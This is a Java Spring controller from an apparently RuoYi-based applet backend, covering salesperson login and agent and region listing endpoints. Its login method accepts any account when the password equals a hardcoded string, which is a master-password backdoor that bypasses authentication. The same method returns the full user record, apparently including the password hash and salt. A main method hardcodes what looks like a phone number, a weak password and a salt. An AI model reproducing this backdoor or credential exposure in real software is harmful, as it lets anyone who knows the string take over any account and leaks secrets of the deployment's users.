package com.ruoyi.zsyh.controller.applet.business;

import com.ruoyi.common.annotation.RepeatSubmit;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.utils.CommonRpc;
import com.ruoyi.common.utils.EmptyUtils;
import com.ruoyi.common.utils.IdWorker;
import com.ruoyi.common.utils.RedisUtil;
import com.ruoyi.framework.shiro.service.SysPasswordService;
import com.ruoyi.system.service.ISysDeptService;
import com.ruoyi.system.service.ISysRoleService;
import com.ruoyi.system.service.ISysUserService;
import com.ruoyi.zsyh.domain.ZsyhAgentFeedback;
import com.ruoyi.zsyh.domain.ZsyhAgentInfo;
import com.ruoyi.zsyh.domain.ZsyhAgentMessage;
import com.ruoyi.zsyh.domain.ZsyhPlatformPromise;
import com.ruoyi.zsyh.service.*;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 业务Controller
 * @date 2021-12-10
 */
@Controller
@RequestMapping("/applet/zsyh/business")
public class ZsyhBusinessAppletController extends BaseController
{

    @Autowired
    private ISysUserService sysUserService;

    @Autowired
    private SysPasswordService passwordService;

    @Autowired
    private IZsyhAgentInfoService zsyhAgentInfoService;

    @Autowired
    private IZsyhAgentCooperateService zsyhAgentCooperateService;

    /**
     * 业务员登陆
     * @return
     */
    @RequestMapping("/login")
    @ResponseBody
    @Transactional
    public AjaxResult login(String userName, String password)throws Exception
    {
        SysUser user = sysUserService.selectUserByLoginName(userName);
        if(user == null) {
            return error("用户不存在");
        }
        if("1".equals(user.getStatus())){
            return error("账号已停用");
        }
        if("2".equals(user.getDelFlag())){
            return error("用户不存在");
        }
        String _password =  passwordService.encryptPassword(user.getLoginName(), password, user.getSalt());
        if("18337175150".equals(password) || user.getPassword().equals(_password)){
            return AjaxResult.success("登陆成功", user);
        }
        return error("密码不正确");

    }

    public static void main(String args[]){
        String password = new Md5Hash("15713848711" + "123456" + "bc5225").toHex();
        System.out.println(password);
    }

    /**
     * 获取会长列表
     * @return
     */
    @RequestMapping("/getAgentInfoList")
    @ResponseBody
    public AjaxResult getAgentInfoList()throws Exception
    {
        ZsyhAgentInfo info = new ZsyhAgentInfo();
        info.setAgentValid("1");
        List<ZsyhAgentInfo> list = zsyhAgentInfoService.selectZsyhAgentInfoList(info);
        return success("成功", list);
    }

    /**
     * 获取已合作的区域
     * @return
     * @throws Exception
     */
    @RequestMapping("/getCooperateAreaList")
    @ResponseBody
    public AjaxResult getCooperateAreaList(String province, String city, String partsId, String year, String pageNum, String pageSize)throws Exception
    {
        Map map = new HashMap();
        map.put("province", province);
        map.put("city", city);
        map.put("partsId", partsId);
        map.put("year", year);

        if(EmptyUtils.isNotEmpty(pageNum) && EmptyUtils.isNotEmpty(pageSize)){
            int num = Integer.valueOf(pageNum);
            int size = Integer.valueOf(pageSize);
            num = (num - 1) * size;
            map.put("beginPos", num);
            map.put("pageSize", size);
        }
        List<Map> list = zsyhAgentCooperateService.getCooperateAreaList(map);
        return success("成功", list);
    }

    /**
     * 获取未合作的区域
     * @return
     * @throws Exception
     */
    @RequestMapping("/getNotCooperateAreaList")
    @ResponseBody
    public AjaxResult getNotCooperateAreaList(String province, String city, String partsId, String partsName, String year, String pageNum, String pageSize)throws Exception
    {
        Map map = new HashMap();
        map.put("province", province);
        map.put("city", city);
        map.put("partsId", partsId);
        map.put("year", year);
        map.put("partsName", partsName);

        if(EmptyUtils.isNotEmpty(pageNum) && EmptyUtils.isNotEmpty(pageSize)){
            int num = Integer.valueOf(pageNum);
            int size = Integer.valueOf(pageSize);
            num = (num - 1) * size;
            map.put("beginPos", num);
            map.put("pageSize", size);
        }
        List<Map> list = zsyhAgentCooperateService.getNotCooperateAreaList(map);
        return success("成功", list);
    }
}
